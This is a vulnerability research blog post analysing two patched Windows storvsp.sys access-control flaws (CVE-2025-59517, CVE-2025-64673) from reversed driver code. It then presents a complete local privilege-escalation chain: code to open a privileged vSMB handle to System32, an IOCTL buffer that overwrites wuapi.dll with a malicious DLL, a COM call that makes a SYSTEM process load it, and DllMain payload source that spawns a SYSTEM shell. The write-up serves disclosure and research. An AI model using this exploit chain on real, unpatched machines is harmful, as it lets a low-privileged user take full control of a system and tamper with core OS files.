By Siddh Shah
This blog post describes exploiting two vulnerabilities patched in the Microsoft Windows December 2025 security updates. In the update, three CVEs were assigned to the vulnerable component, two of which, CVE-2025-59517 and CVE-2025-64673, are covered in this post. Note that neither of these vulnerabilities were discovered by Exodus; we linked the CVEs to vulnerable functions based on the advisory provided by Microsoft. However, because all three CVEs address the same vulnerability class within the same driver and were patched in a single update, the advisory descriptions alone do not unambiguously map each CVE to a specific function. The attribution was established through reverse engineering of the patched binary, but it remains possible that the actual CVE-to-function assignment differs from what is presented here.
These two vulnerabilities, arising due to improper access control within the storvsp.sys kernel driver, can be chained together to escalate a low-privileged user to NT AUTHORITY\SYSTEM on the several affected versions of the Microsoft Windows Operating Systems.
Disclaimer: All structure and function definitions detailed in this post were deduced by reversing the storvsp.sys binary. Since source code is not available for this module, they may not accurately reflect Microsoft’s internal naming conventions.
This section provides an overview of the Virtual Server Message Block (vSMB) component and structures relevant to the vulnerability.
Windows Virtual Server Message Block
The Microsoft Windows Storage Virtual Service Provider (VSP) driver (storvsp.sys) provides the Virtual Server Message Block (vSMB) functionality. It is a specialized, high-performance file-sharing mechanism used by Microsoft Windows to share files between the host operating system and virtualized environments running on the same machine (e.g., virtual machines, Windows Sandbox, containers, etc.).
A vSMB share represents a host filesystem path that has been exposed to a virtualized environment, allowing the guest to perform file operations on host files without relying on network-based file sharing protocols. For a broader understanding of the Windows Sandbox component the reader can refer to the analysis by Check Point Research that shows how vSMB is leveraged to carry out file operations between the virtualized guest and the host system. This is not required to understand the vulnerability, but gives an example how vSMB is actually used by Windows internally.
The driver exposes a device object (\Device\STORVSP) with a symbolic link (\GLOBAL??\STORVSP), making it accessible from user-mode processes via the \\.\STORVSP path. When targeting a vSMB share, the path follows the format \\.\STORVSP\VSMB\??\C:\path, where the \VSMB prefix routes the request to vSMB-specific handling and the ??\C:\ segment is an NT object manager path that resolves to a drive letter and its specified directory.
The driver is only loaded when the Virtual Machine Platform Windows feature is enabled.
vSMB Structures
The storvsp.sys kernel driver utilizes several internal structures: one to track persistent share state, and others to parse user-controlled input and output buffers during I/O control request processing. The following structures are relevant to the vulnerabilities described in this post.
The VVSMB_SHARE_ROOT_OBJECT Structure
The VVSMB_SHARE_ROOT_OBJECT structure serves as a persistent context for a vSMB file or directory share.
It is allocated when a handle is opened to a vSMB path and is retained in memory until no open device handles are associated with it.
typedef struct _VVSMB_SHARE_ROOT_OBJECT
{
DWORD ObjectType;
volatile DWORD State;
EX_RUNDOWN_REF RundownProtect;
BYTE IsInitialized;
BYTE Padding01[7];
PFILE_OBJECT BackingFileObject;
HANDLE RootDirectoryHandle;
BYTE HasAppendAccess;
BYTE HasWriteAccess;
BYTE HasReadAccess;
BYTE Padding02[5];
SECURITY_SUBJECT_CONTEXT SubjectContext;
BYTE IsActive;
BYTE Reserved_51[3];
SECURITY_QUALITY_OF_SERVICE SecurityQoS;
PVOID UnknownPtr;
BYTE Reserved_68[16];
DWORD FileSystemAttributes;
DWORD ReservedEnd;
} VVSMB_SHARE_ROOT_OBJECT, PVSMB_SHARE_ROOT_OBJECT*;
The VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST Structure
The VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST structure is the input buffer format expected by I/O control requests with code 0x240330. The structure defines file information operations such as renaming or linking files.
typedef struct _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST {
DWORD Version;
DWORD Reserved04;
UINT64 SourceHandle;
DWORD InformationClass;
DWORD BufferLength;
BYTE Buffer[1];
} VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST, *PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST;
The first primitive, assigned CVE-2025-59517, lies in the VspVsmbFileCreate() function of storvsp.sys. When a low-privileged attacker calls the CreateFileW() Windows API with a vSMB share path as its target, VspVsmbFileCreate() is invoked to open a handle to the underlying filesystem path. The function correctly impersonates the calling thread before opening the file, but fails to pass necessary flags to the IoCreateFileEx() kernel function that enforces access checks. Consequently, the Windows Object Manager bypasses NTFS ACL checks and opens the target path with kernel privileges, ignoring the impersonation token.
A low-privileged user can exploit this vulnerability to obtain a vSMB share handle to any directory on the system, such as C:\Windows\System32, with read, write, and deletion access rights. The granted access rights are stored as boolean flags in the VVSMB_SHARE_ROOT_OBJECTkernel object, including HasWriteAccess, which tracks whether the handle was opened with write permissions. A privileged vSMB share handle by itself isn’t as useful, but a second primitive can be chained with it to modify the actual on-disk files and directories.
The second vulnerability, assigned CVE-2025-64673, resides in the VspVsmbHandleSetInformationFileRequest() function, invoked when an I/O control request with the code 0x240330 is issued on an existing vSMB share handle, such as the one obtained above. This function processes file information operations based on the input buffer of type _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST. Its security behavior is governed by the HasWriteAccess flag on the share’s VVSMB_SHARE_ROOT_OBJECT context. If the share handle was opened with write permissions, the function impersonates the calling thread before performing the operation. Otherwise, impersonation is skipped and the operation executes with SYSTEM privileges.
The function also repeats the same access check omission as the first vulnerability when calling IoCreateFileEx(), and additionally substitutes the requested file information class with variants that bypass kernel access checks when HasWriteAccess is not set.
By crafting a specific VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST input buffer to perform a rename operation, a low-privileged user can relocate an arbitrary file to any location on the system.
The two vulnerabilities can be chained to escalate privileges as follows:
- Leveraging CVE-2025-59517 to obtain a privileged vSMB share handle to the
C:\Windows\System32directory withFILE_READ_DATAaccess rights so thatHasWriteAccessremains unset. - Triggering CVE-2025-64673 to relocate a malicious DLL into the aforementioned directory.
- Invoking a specific COM interface so that the planted DLL is subsequently loaded by a
SYSTEMprocess, spawning a shell asNT AUTHORITY\SYSTEM.
In the following section, the vulnerable control flow is analyzed in greater detail.
VspFileCreate()
A user-mode caller executing the CreateFileW() API from the kernel32.dll library with a vSMB target path,
the VspFileCreate() function is first invoked within the kernel driver. This function is shown in the following listing:
// Module: storvsp.sys
void __fastcall VspFileCreate(struct WDFDEVICE__ *Device, WDFREQUEST Request, WDFFILEOBJECT FileObject)
{
[Truncated]
prefixAdapter.Buffer = L"\\ADAPTER";
*(_QWORD *)&prefixAdapter.Length = 0x120010i64;
v22.Buffer = L"\\GUID\\";
*(_QWORD *)&v22.Length = 917516i64;
prefixVSMB.Buffer = L"\\VSMB";
*(_QWORD *)&prefixVSMB.Length = 0xC000Ai64;
memset(&RequestParameters, 0, sizeof(RequestParameters));
RequestParameters.Size = 0x28;
WdfFunctions->pfnWdfRequestGetParameters(WdfDriverGlobals, Request, &RequestParameters);
retFileObj = WdfFunctions->pfnWdfFileObjectWdmGetFileObject(WdfDriverGlobals, FileObject);
p_FileName = &retFileObj->FileName;
VspGetSettingsFromRegistry(v8);
if ( RtlPrefixUnicodeString(&prefixAdapter, &retFileObj->FileName, 1u) )
[Truncated]
[1]
if ( VspCheckAndRemovePrefix(p_FileName, &prefixVSMB, &VsmbFileName) )
{
v13 = VspVsmbDelayCreate(Request, &VsmbFileName, v9, retFileObj);
goto LABEL_13;
}
[Truncated]
}
At [1], the VspFileCreate() function verifies if the target device object string begins with the prefix \\VSMB. If this condition is met, the VspVsmbDelayCreate() function is called with the trimmed file name. This function queues a worker item that eventually invokes VspVsmbFileCreate().
VspVsmbFileCreate()
Relevant parts of the VspVsmbFileCreate() function are shown in the following listing:
// Module: storvsp.sys
__int64 __fastcall VspVsmbFileCreate(
WDFREQUEST Request,
struct _UNICODE_STRING *FileName,
struct _IO_WORKITEM *IoWorkItem,
struct _FILE_OBJECT *pFileObject)
{
[Truncated]
[2]
_VVSMB_SHARE_ROOT_OBJECT* VsmbRootObject = (struct _VVSMB_SHARE_ROOT_OBJECT *)ExAllocatePool2(0x40i64, 0x80i64, 'stSV');
if ( !VsmbRootObject )
{
Status = 0xC0000017;
StorVspTrace((int)"VspVsmbFileCreate", 455, 2, 8, "Cleanup [status = ((NTSTATUS)0xC0000017L)]", FileAttr);
goto LABEL_73;
}
StorVspTrace(
(int)"VspVsmbFileCreate",
462,
4,
8,
"VspVsmbFileCreate enter ... filename: %wZ fileObject %p smbObject %p",
(char)FileName);
VsmbRootObject->ObjectType = 3;
ExInitializeRundownProtection(&VsmbRootObject->RundownProtect);
VsmbRootObject->State = 0;
VsmbRootObject->IsInitialized = 1;
_InterlockedCompareExchange((volatile signed __int32 *)&VsmbRootObject->State, FILE_WRITE_DATA, 0);
v9 = WdfFunctions;
VsmbRootObject->UnknownPtr = 0i64;
v10 = WdfDriverGlobals;
VsmbRootObject->BackingFileObject = pFileObject;
[3]
IRP = v9->pfnWdfRequestWdmGetIrp(v10, Request);
CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
AllocationSize = (PLARGE_INTEGER)&IRP->Overlay;
SecurityContext = CurrentStackLocation->Parameters.Create.SecurityContext;
CreateOptions = CurrentStackLocation->Parameters.Create.Options & 0xFFFFFF;
v14 = BYTE3(CurrentStackLocation->Parameters.QueryEa.EaList);
DesiredAccess = SecurityContext->DesiredAccess;
FileAttributes = CurrentStackLocation->Parameters.Create.FileAttributes;
ShareAccess = CurrentStackLocation->Parameters.Create.ShareAccess;
[4]
if ( AllocationSize->QuadPart )
{
v15 = 516;
goto LABEL_5;
}
if ( (FileAttributes & 0xFFFFFF7F) != 0 )
{
v15 = 519;
goto LABEL_5;
}
if ( (ShareAccess & 0xFFFFFFF8) != 0 )
{
v15 = 522;
goto LABEL_5;
}
if ( v14 != 1 )
{
v15 = 524;
goto LABEL_5;
}
if ( (CreateOptions & 0xFFFDBFDE) != 0 )
{
v15 = 527;
goto LABEL_5;
}
[5]
if ( (SecurityContext->DesiredAccess & FILE_APPEND_DATA) != 0 )
VsmbRootObject->HasAppendAccess = 1;
if ( (SecurityContext->DesiredAccess & FILE_READ_DATA) != 0 )
{
VsmbRootObject->HasReadAccess = 1;
CreateOptions |= 0x4000u;
}
if ( (SecurityContext->DesiredAccess & FILE_WRITE_DATA) != 0 )
VsmbRootObject->HasWriteAccess = 1;
[Truncated]
[6]
v20 = VspVsmbImpersonateSecurityContext(
&SecurityContext->AccessState->SubjectSecurityContext,
SecurityQos,
(PSECURITY_CLIENT_CONTEXT)ClientContext);
[Truncated]
[7]
v15 = ~(unsigned __int8)(IRP->Flags >> 1);
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = v15 & OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE;
ObjectAttributes.ObjectName = FileName;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
Status = IoCreateFileEx(
&VsmbRootObject->RootDirectoryHandle,
0x100020u,
&ObjectAttributes,
&IoStatusBlock,
AllocationSize,
FileAttributes,
ShareAccess,
1u,
CreateOptions,
0i64,
0,
CreateFileTypeNone,
0i64,
1u,
0i64);
[Truncated]
}
The VspVsmbFileCreate() function begins by allocating the VsmbRootObject object at [2]. This object has a size of 0x80 bytes and the tag VSts, it serves as the persistent context for the virtual share. It is retained in memory until no open device handles are associated with the structure.
At [3], the function retrieves the underlying IRP object and initializes parameters passed by the user-mode NtCreateFile() function (invoked internally by the CreateFileW() API). Specifically, it extracts the SecurityContext, CreateOptions, FileAttributes, and ShareAccess parameters.
The function enforces a whitelist on the FileAttributes, ShareAccess, and CreateOptionsparameters at [4]. The FileAttributes & 0xFFFFFF7F bitwise check ensures that only the FILE_ATTRIBUTE_NORMAL (0x80) or 0x0 flags are accepted. Any other attribute causes the function to fail.
The ShareAccess & 0xFFFFFFF8 bitwise check ensures that only the FILE_SHARE_READ, FILE_SHARE_WRITE, and FILE_SHARE_DELETE sharing flags are allowed.
The CreateOptions & 0xFFFDBFDE bitwise check validates that only specific flags are allowed. Notably, the FILE_OPEN_FOR_BACKUP_INTENT and FILE_DIRECTORY_FILE flags are accepted.
At [5], the requested access rights are saved as internal boolean flags within the persistent VsmbRootObject object. Crucially, if FILE_READ_DATA is requested, the driver explicitly forces the 0x4000 flag (FILE_OPEN_FOR_BACKUP_INTENT) into CreateOptions. The VsmbRootObject->HasWriteAccess member field is set only if the FILE_WRITE_DATA access is requested.
The function attempts to secure the operation by calling the VspVsmbImpersonateSecurityContext() function at [6]. This sets the thread’s execution context to that of the calling user, which is meant to limit the driver’s actions to the user’s privilege level. However, as detailed below, this precaution is rendered ineffective by the flags used in the subsequent file operation.
The vulnerability occurs at [7]. The target file or directory is initialized within ObjectAttributes.ObjectName. The ObjectAttributes.Attributes field is set with OBJ_CASE_INSENSITIVE and OBJ_KERNEL_HANDLE. The use of OBJ_KERNEL_HANDLE instructs the Object Manager that the handle belongs to the system process. Consequently, the function creates a handle with kernel privileges. The function fails to include the OBJ_FORCE_ACCESS_CHECK flag. Without it, the object manager defaults to bypassing standard NTFS access control list (ACL) checks, ignoring the impersonation token established at [6].
As a result, IoCreateFileEx() opens the target path with kernel privileges. The CreateFileW() call completes successfully, returning a vSMB share handle to the targeted privileged file or directory back to the caller.
This concludes code analysis for the CVE-2025-59517 primitive.
VspVsmbHandleSetInformationFileRequest()
The VspVsmbHandleSetInformationFileRequest() function is invoked when an I/O control request with code 0x240330 is issued on an existing vSMB handle, as the target path, such as the one obtained via CVE-2025-59517 in the previous section. This IOCTL performs file information operations (e.g. renaming or linking) on files accessible through the share. The caller provides a _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST input buffer containing a source file handle, an information class (FileRenameInformation, FileLinkInformation, or FileRenameInformationEx), and a target path. The function resolves the target directory relative to the vSMB share root and performs the requested operation on the source file.
// Module: storvsp.sys
__int64 __fastcall VspVsmbHandleSetInformationFileRequest(
struct _VVSMB_SHARE_ROOT_OBJECT *VsmbRootObject,
char RequestorMode,
const struct _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *InputBuffer,
DWORD InputSize,
struct _EPROCESS *RequestorProcess,
struct _IO_STATUS_BLOCK *StatusBlock)
{
Handle = 0i64;
Object = 0i64;
v48 = 0i64;
memset(v49, 0, sizeof(v49));
FileHandle = (void *)0xFFFFFFFFFFFFFFFFi64;
[8]
if ( VsmbRootObject->HasAppendAccess )
{
v9 = 2784;
LABEL_3:
status = -1073741790;
v11 = "Cleanup [status = ((NTSTATUS)0xC0000022L)]";
LABEL_4:
StorVspTrace((int)"VspVsmbHandleSetInformationFileRequest", v9, 2, 8, v11, FileAttributes);
goto LABEL_77;
}
if ( InputSize < 0x20 )
{
status = -1073741789;
v11 = "Cleanup [status = ((NTSTATUS)0xC0000023L)]";
v9 = 2787;
goto LABEL_4;
}
IsStreamName = 1;
if ( InputBuffer->Version != 1 )
{
v9 = 0xAE6;
LABEL_9:
status = 0xC000000D;
v11 = "Cleanup [status = ((NTSTATUS)0xC000000DL)]";
goto LABEL_4;
}
BufferLength = InputBuffer->BufferLength;
if ( BufferLength + 0x18 < BufferLength )
{
status = 0xC0000095;
StorVspTrace((int)"VspVsmbHandleSetInformationFileRequest", 2794, 2, 8, "Cleanup with status 0x%08X", 0x95);
goto LABEL_77;
}
if ( InputSize < BufferLength + 0x18 )
{
v9 = 0xAED;
goto LABEL_9;
}
if ( !InputBuffer->SourceHandle )
{
v9 = 0xAF0;
goto LABEL_9;
}
[9]
if ( VsmbRootObject->HasWriteAccess )
{
v15 = VspVsmbImpersonateRootSecurityContext(VsmbRootObject, (struct _SECURITY_CLIENT_CONTEXT *)v49);
status = v15;
if ( v15 < 0 )
{
StorVspTrace((int)"VspVsmbHandleSetInformationFileRequest", 2809, 2, 8, "Cleanup with status 0x%08X", v15);
goto LABEL_77;
}
}
[10]
InformationClass = InputBuffer->InformationClass;
if ( InputBuffer->InformationClass != FileRenameInformation )
{
if ( InputBuffer->InformationClass == FileLinkInformation )
goto LABEL_24;
if ( InputBuffer->InformationClass != FileRenameInformationEx )
{
v17 = 2964;
LABEL_26:
status = -1073741811;
StorVspTrace(
(int)"VspVsmbHandleSetInformationFileRequest",
v17,
2,
8,
"Cleanup [status = ((NTSTATUS)0xC000000DL)]",
FileAttributes);
goto LABEL_77;
}
}
LABEL_24:
BufferLength = InputBuffer->BufferLength;
if ( BufferLength < 0x18 )
{
v17 = 0xB0F;
goto LABEL_26;
}
[11]
FileNameLength = InputBuffer->Info.RenameInfo.FileNameLength;
p_RootDirectory = &InputBuffer->Info.RenameInfo.RootDirectory;
if ( !FileNameLength || InputBuffer->Info.RenameInfo.FileName[0] != ':' )
IsStreamName = 0;
if ( FileNameLength + 0x14 < FileNameLength )
{
v23 = 0xC0000095;
v24 = 0xB1A;
FileAttributesa = 0x95;
goto LABEL_74;
}
if ( FileNameLength + 0x14 > BufferLength )
{
v17 = 0xB1B;
goto LABEL_26;
}
if ( !IsStreamName )
{
*(_DWORD *)(&TargetDirPath.MaximumLength + 1) = 0;
*(_DWORD *)(&Path.MaximumLength + 1) = 0;
Path.Length = FileNameLength;
Path.Buffer = InputBuffer->Info.RenameInfo.FileName;
Path.MaximumLength = FileNameLength;
FinalPath = 0i64;
TargetDirPath.Buffer = InputBuffer->Info.RenameInfo.FileName;
TargetDirPath.Length = FileNameLength;
RemainingName = 0i64;
FsRtlDissectName(&Path, &FinalPath, &RemainingName);
if ( RemainingName.Length )
{
do
{
Path = RemainingName;
FsRtlDissectName(&Path, &FinalPath, &RemainingName);
}
while ( RemainingName.Length );
ParentDirLength = -2 - FinalPath.Length + TargetDirPath.Length;
}
else
{
ParentDirLength = TargetDirPath.Length - FinalPath.Length;
}
TargetDirPath.Length = ParentDirLength;
TargetDirPath.MaximumLength = ParentDirLength;
[Truncated]
[12]
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = VsmbRootObject->RootDirectoryHandle;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.Attributes = 0x240;
ObjectAttributes.ObjectName = &TargetDirPath;
status = IoCreateFileEx(
&FileHandle,
0xC0000000,
&ObjectAttributes,
&IoStatusBlock,
0i64,
FILE_ATTRIBUTE_NORMAL,
3u,
1u,
1u,
0i64,
0,
CreateFileTypeNone,
0i64,
IO_STOP_ON_SYMLINK,
0i64);
if ( status == 0x8000002D )
{
if ( IoStatusBlock.Information )
ExFreePoolWithTag((PVOID)IoStatusBlock.Information, 0);
v9 = 2939;
goto LABEL_3;
}
if ( status < 0 )
{
v24 = 2941;
FileAttributes = status;
LABEL_74:
StorVspTrace(
(int)"VspVsmbHandleSetInformationFileRequest",
v24,
2,
8,
"Cleanup with status 0x%08X",
FileAttributesa);
goto LABEL_77;
}
[13]
memmove(&InputBuffer->Info.RawBuffer[20], FinalPath.Buffer, FinalPath.Length);
InputBuffer->Info.RenameInfo.FileNameLength = FinalPath.Length;
}
[14]
if ( !VsmbRootObject->HasWriteAccess )
{
v25 = InputBuffer->InformationClass;
if ( v25 == FileRenameInformation )
{
InformationClass = FileRenameInformationBypassAccessCheck;
}
else if ( v25 == FileRenameInformationEx )
{
InformationClass = FileRenameInformationExBypassAccessCheck;
}
}
if ( InputBuffer != (const struct _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *)0xFFFFFFFFFFFFFFE0i64 && *p_RootDirectory )
{
v17 = 2974;
goto LABEL_26;
}
[15]
LOBYTE(Disposition) = RequestorMode;
status = ObDuplicateObject(
RequestorProcess,
InputBuffer->SourceHandle,
PsInitialSystemProcess,
&Handle,
0x2000000,
0x240,
0xA,
Disposition);
if ( status >= 0 )
{
status = ObReferenceObjectByHandleWithTag(
Handle,
0x2000000u,
(POBJECT_TYPE)IoFileObjectType,
0,
0x46745356u,
&Object,
0i64);
if ( status >= 0 )
{
if ( InputBuffer != (const struct _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *)0xFFFFFFFFFFFFFFE0i64 && !v12 )
{
if ( FileHandle == (void *)-1i64 )
FileHandle = VsmbRootObject->RootDirectoryHandle;
*p_RootDirectory = FileHandle;
}
[16]
v29 = ZwSetInformationFile(
Handle,
&v48,
&InputBuffer->Info,
InputBuffer->BufferLength,
(FILE_INFORMATION_CLASS)InformationClass);
[Truncated]
}
This function first performs a series of validation checks, starting at [8]. If the VsmbRootObject->HasAppendAccess member, populated during handle creation in VspVsmbFileCreate(), is set VspVsmbHandleSetInformationFileRequest() bails out with an error. The function then enforces strict constraints on the VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST input buffer, requiring a non-zero SourceHandle value, a Version of 1, an I/O request InputSize of at least 0x20, and that InputSize is large enough to accommodate the BufferLength value plus the 0x18 byte structure header.
If VsmbRootObject->HasWriteAccess is set [9], the VspVsmbImpersonateRootSecurityContext() function is executed to impersonate the calling thread. Otherwise, impersonation is skipped.
At [10], the InformationClass enumeration is extracted. This constant specifies the file information operation to be performed by the impending ZwSetInformationFile() function call. Only the FileRenameInformation, FileLinkInformation, and FileRenameInformationExconstants are accepted. Any other value results in failure.
Before path parsing begins, the IsStreamName variable (initialized to 1 at [8]) is evaluated. It is set to 0 if the FileNameLength variable is zero or the first character of the FileName field is not 0x3A (‘:’) [11]. In NTFS, a leading colon denotes an alternate data stream (e.g., file.txt:stream). When IsStreamName is false, the target path is parsed using FsRtlDissectName() to separate the parent directory path (TargetDirPath) from the final file name component (FinalPath).
The target directory is opened at [12] via IoCreateFileEx(). The ObjectAttributes.RootDirectory field is set to VsmbRootObject->RootDirectoryHandle (the privileged directory handle obtained via CVE-2025-59517) and ObjectAttributes.ObjectNameis set to TargetDirPath (the parent directory path extracted above). IoCreateFileEx()resolves ObjectName relative to RootDirectory, opening the target directory within the vSMB share root. The ObjectAttributes.Attributes field is set to 0x240, representing the OBJ_CASE_INSENSITIVE and OBJ_KERNEL_HANDLE flags. Similar to the previous flaw, the OBJ_FORCE_ACCESS_CHECK flag is missing. Once again, ACL checks are bypassed during the IoCreateFileEx() call. The operation succeeds and returns a handle to the target directory, stored in the FileHandle variable.
At [13], the targeted file or folder name, parsed and stored within the FinalPath.Buffer buffer, is copied into InputBuffer->Info.RawBuffer[20].
Again (in a notably recurring pattern), the VsmbRootObject->HasWriteAccess member being unset results in user-access checks being bypassed. At [14], the BypassAccessCheck variants of the InformationClass values are used.
The handle to the target file that is to be operated on is duplicated into the kernel process map at [15].
Finally, at [16], the ZwSetInformationFile() function is called to perform the specified operation with all security checks disabled.
Effectively, this vulnerability provides an arbitrary file-write (as SYSTEM) primitive. This section will focus on leveraging both flaws to place a malicious file (payload.dll) within the C:\Windows\System32 directory. Invoking a specific COM method then loads the planted DLL under a SYSTEM process. A constraint of this technique is that the DLL is loaded in session 0, which has no interactive desktop. However, this is overcome by the DLL payload, which enables the SeTcbPrivilege privilege and switches the spawned process from session 0 into the active console session (the logged in user’s active session), allowing the shell prompt to appear on the user’s desktop.
The following sections describe the exploitation stages in more detail.
Stage 1: Obtaining a Privileged vSMB Share Handle
The CreateFileW() API from the Kernel32.dll library is used to open a handle to an existing device in the system.
The following listing showcases how to obtain a handle to the targeted C:\Windows\System32directory as a vSMB share, leveraging CVE-2025-59517:
LPCWSTR targetPath = L"\\\\.\\STORVSP\\VSMB\\??\\C:\\Windows\\System32\\"; HANDLE hDevice = CreateFileW( targetPath, FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_ATTRIBUTE_DIRECTORY, nullptr );
Note how the handle is opened with only FILE_READ_DATA access rights to bypass the security check mentioned in the Code Analysis section.
Stage 2: Crafting the Input Buffer and Firing the Vulnerable IOCTL
The plan is to plant payload.dll into C:\Windows\System32\, named as wuapi.dll.
Out of the several system files available for exploitation, the wuapi.dll module is targeted for stability purposes. At the time of writing this blog post, replacing the aforementioned module on a copy of Windows 11 Version 23H2 did not result in system crashes or unexpected behavior. It should be noted that any file can be targeted, provided it is loaded by a process possessing SYSTEM rights.
Since the attack vector is local, the assumed scenario is that the attacker launches exploit.exe with payload.dll placed in the same folder.
The following listing showcases how the input buffer is initialized and populated for this scenario:
#define FileRenameInformation 10
typedef struct _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST {
DWORD Version;
DWORD Reserved04;
UINT64 SourceHandle;
DWORD InformationClass;
DWORD BufferLength;
BYTE Buffer[1];
} VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST, *PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST;
typedef struct _FILE_RENAME_INFORMATION {
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
DWORD FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;
std::wstring targetFileName = L"wuapi.dll";
DWORD nameLength = (DWORD)(targetFileName.length() * sizeof(wchar_t));
DWORD inputSize = sizeof(VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST) + nameLength + 24;
PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST inputBuffer = (PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST)malloc(inputSize);
memset(inputBuffer, 0, inputSize);
inputBuffer->Version = 1;
inputBuffer->SourceHandle = (UINT64)hSourceFile;
inputBuffer->InformationClass = FileRenameInformation;
inputBuffer->BufferLength = sizeof(VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST) + nameLength;
PFILE_RENAME_INFORMATION pRename = (PFILE_RENAME_INFORMATION)&inputBuffer->Buffer[0];
pRename->ReplaceIfExists = TRUE;
pRename->RootDirectory = NULL;
pRename->FileNameLength = nameLength;
memcpy(pRename->FileName, targetFileName.c_str(), nameLength);
The inputBuffer->SourceHandle field is initialized to the payload.dll file handle. The inputBuffer->InformationClass field is populated with the FileRenameInformationenumeration, for which the necessary PFILE_RENAME_INFORMATION structure is crafted. Within this structure, pRename->ReplaceIfExists is set to TRUE to ensure the targeted system file is replaced, if it already exists.
A user can invoke an I/O request by calling the DeviceIoControl() API from the Kernel32.dlllibrary. The following listing showcases how to issue an I/O request to the storvsp.sys driver:
#define IOCTL_VSMB_SET_INFORMATION_FILE_REQUEST 0x240330 DeviceIoControl( hDevice, IOCTL_VSMB_SET_INFORMATION_FILE_REQUEST, inputBuffer, inputSize, outputBuffer, outputSize, nullptr, nullptr);
The hDevice field is the vSMB share handle obtained earlier. The 0x240330 IOCTL code is requested to perform the rename operation, ultimately moving the payload file into the privileged C:\Windows\System32 directory, and replacing the wuapi.dll system file.
Stage 3: Invoking the COM Method
In order to load the wuapi.dll library under a privileged SYSTEM security context, the IWaaSRemediation COM interface is used.
IID i_Waas;
CLSIDFromString(L"{b4c1d279-966e-44e9-a9c5-ccaf4a77023d}", &i_Waas);
CLSID c_Waas;
CLSIDFromString(L"{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}", &c_Waas);
IWaaSRemediation *pv = NULL;
hr = CoCreateInstance(c_Waas, 0, CLSCTX_LOCAL_SERVER, i_Waas, (LPVOID *)&pv);
BSTR inputArgs = SysAllocString(L"");
BSTR outputResult = NULL;
hr = pv->LaunchDetectionOnly(inputArgs, &outputResult);
The IWaaSRemediation COM interface is initialized by calling the CoCreateInstance() API from the Ole32.dll library with its specific GUID string. On calling the interface’s LaunchDetectionOnly() method, a series of operations take place. One of which is loading the targeted wuapi.dll library by an executable running as NT AUTHORITY\SYSTEM.
The DLL Payload
When wuapi.dll is loaded by the SYSTEM process, its DllMain() entry point is invoked with DLL_PROCESS_ATTACH. The payload performs three operations: it acquires a lock to prevent multiple shells from spawning, enables SeTcbPrivilege on the current process token, and spawns a command shell in the active console session. The implementation is shown in the following listing:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
SECURITY_ATTRIBUTES saFile = {0};
saFile.nLength = sizeof(saFile);
saFile.bInheritHandle = TRUE;
HANDLE hLockFile = CreateFileW(
L"C:\\Windows\\Temp\\MyShellLock.tmp",
GENERIC_READ | GENERIC_WRITE,
0,
&saFile,
OPEN_ALWAYS,
FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
if (hLockFile == INVALID_HANDLE_VALUE)
return TRUE;
DWORD activeSessionId = WTSGetActiveConsoleSessionId();
HANDLE hCurrentToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_DUPLICATE | TOKEN_QUERY, &hCurrentToken);
LUID luid;
LookupPrivilegeValueW(NULL, L"SeTcbPrivilege", &luid);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hCurrentToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
HANDLE hDuplicatedToken = NULL;
DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDuplicatedToken);
SetTokenInformation(hDuplicatedToken, TokenSessionId, &activeSessionId, sizeof(activeSessionId));
STARTUPINFOW si = {0};
si.cb = sizeof(si);
wchar_t desktopName[] = L"winsta0\\default";
si.lpDesktop = desktopName;
PROCESS_INFORMATION pi = {0};
wchar_t cmdPath[] = L"C:\\Windows\\System32\\cmd.exe";
CreateProcessAsUserW(
hDuplicatedToken,
NULL,
cmdPath,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
break;
}
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
A naive file lock technique is included to demonstrate how to prevent multiple command shells from spawning if the COM method is invoked by other scheduled system processes (as was observed during exploit development).
